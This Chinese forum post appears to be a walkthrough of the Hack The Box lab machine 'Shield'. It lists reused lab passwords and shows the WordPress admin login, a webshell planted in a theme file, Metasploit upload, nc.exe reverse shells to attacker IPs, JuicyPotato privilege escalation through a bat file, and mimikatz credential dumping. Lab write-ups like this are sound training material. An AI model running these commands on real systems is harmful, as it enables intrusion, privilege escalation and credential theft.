开启辅助访问
 找回密码
 立即注册

Hackthebox靶场练习-Shield

yang1977 回答数0 浏览数426
0x01 前言

根据hackthebox的惯性,我在这里收集了前面的所有密码:

  • Archetype:
Mssql:M3g4c0rp123
Administrator:MEGACORP_4dm1n!!

  • Oopsie
Mysql:M3g3C0rpUs3r!
ftp:mc@F1l3ZilL4

  • Vaccine
Zip:741852963
Web:qwerty789
postgres:P@s5w0rd!
0x02 过程

信息收集




Getshell

看到只有两个端口:80、3306,3306我尝试了链接,发现不给外链,那入口就应该在80端口,打开是一台iis默认的页面



开dirbuster进行目录扫描,发现是一台wordpress程序:



看到是wp中间散发了挺多思路的,首先是使用wpscan进行插件、主题漏洞扫描,之后是枚举用户密码。
后来发现wp的版本是大于5.0的,很多漏洞都不能利用了,尝试密码大法最终使用P@s5w0rd!成功登陆了后台:



编辑主题:http://10.10.10.29/wordpress/wp-admin/theme-editor.php?file=search.php&theme=twentysixteen
修改了search.php的内容为我们的冰蝎php马:



一句话地址:http://10.10.10.29/wordpress/wp-content/themes/twentysixteen/search.php



用冰蝎命令执行没有交互式,有交互式的虚拟终端太卡了。或是上msf吧:
msf > use exploit/unix/webapp/wp_admin_shell_upload
msf > set PASSWORD P@s5w0rd!
msf > set USERNAME admin
msf > set TARGETURI /wordpress
msf > set RHOSTS 10.10.10.29
msf > run



使用msf的shell或是不好用,毕竟是根据webshell来建立链接的:



或是直接上nc,使用刚才在冰蝎上传的nc.exe:
execute -f nc.exe -a "-e cmd.exe 10.10.14.33 1234"



提权

win2016以上估计也就只有烂土豆了,上传了一台,但不是webshell版本的,使用官方的方法,写入一台bat文件,内容为:
START C:\inetpub\wwwroot\wordpress\wp-content\uploads\nc.exe -e powershell.exe 10.10.14.2 1111
在反弹shell上面执行
echo START C:\inetpub\wwwroot\wordpress\wp-content\uploads\nc.exe -e powershell.exe 10.10.14.2 1111 > shell.bat
监听端口:
nc -lvp 1111
执行烂土豆:
JuicyPotato.exe -t * -p C:\inetpub\wwwroot\wordpress\wp-content\uploads\shell.bat -l 1337



官方说要把JuicyPotato.exe改名能躲过Windows Defender查杀,实验中不改名也可以正常使用。
后面就是获取用户的密码步骤了
上传mimikatz
./mimikatz.exe
sekurlsa::logonpasswords获得用Sandra的密码, 估计这个密码在下面的靶机中也可以用到
后面尝试了,为啥在webshell执行烂土豆的时候会失败,是因为没有加上CLSID参数,默认的是会出现COM -> recv fAIled with error: 10038失败的。
因为靶机是2016所以在https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_Server_2016_Standard
找到2016的clsid就可以了。



0x03 总结

1、看到80端口必定有很大概率是从web入手的,一般扫一下目录就可以了。
2、这次web用的是wp,一开始就先尝试密码会省下很多时间。
3、烂土豆 (JuicyPotato)
使用方法:
(1)查看当前用户权限,是否符合要求
whoami /priv
如果开启SeImpersonate权限,juicypotato的参数可以使用-t t
如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u
如果均开启,可以选择-t *
如果均未开启,那么无法提权
(2)查看RPC默认端口是否为135
如果被修改(例如为111),juicypotato的参数可以使用-n 111
如果系统禁用了RPC,并不是一定无法提权,需要满足如下条件:
找到另一系统,能够以当前用户的权限进行远程RPC登录,此时juicypotato的参数可以使用-k <ip>
例如Win7、WIn8系统,默认配置下,允许135端口的入站规则即可进行远程RPC登录
添加防火墙规则允许135端口入站的命令如下:
netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow
也可以选择将防火墙关闭,可参考绕过UAC关闭防火墙的代码:
https://github.com/3gstudent/Use-COM-objects-to-bypass-UAC/blob/master/DisableFirewall.cpp
(3)根据操作系统选择可用的CLSID
参考列表 https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
例如测试系统Server2012,选择CLSID为{8BC3F05E-D86B-11D0-A075-00C04FB68820}
(4)选择一台系统未占用的端口作为监听端口
例如,最终参数如下:
JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}
表示开启SeImpersonate权限创建进程,监听端口1111,使用的CLSID为{8BC3F05E-D86B-11D0-A075-00C04FB68820}

  • CLSID :https://github.com/ohpe/juicy-potato/tree/master/CLSID
  • Windows本地提权工具Juicy-Potato测试分析 https://3gstudent.github.io/3gstudent.github.io/Windows%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83%E5%B7%A5%E5%85%B7Juicy-Potato%E6%B5%8B%E8%AF%95%E5%88%86%E6%9E%90/
  • Potato家族本地提权分析 https://www.sec-in.com/article/583
  • 记一次Windows渗透提权历程 https://xz.aliyun.com/t/5899
  • Potato家族本地提权细节 https://xz.aliyun.com/t/7776
4、rlwrap
它是一台用于反弹shell的时候,我们通常按上下会出现乱码,使用这个辅助工具就可以正常使用上下减号等操作:
kali安装:
apt install rlwarp
其他系统可以参照:https://github.com/hanslub42/rlwrap
使用方法:
rlwarp nc -lvnp 1234
使用道具 举报
| 来自广东 用Deepseek满血版问问看
快速回复
您需要登录后才可以回帖 登录 | 立即注册

当贝投影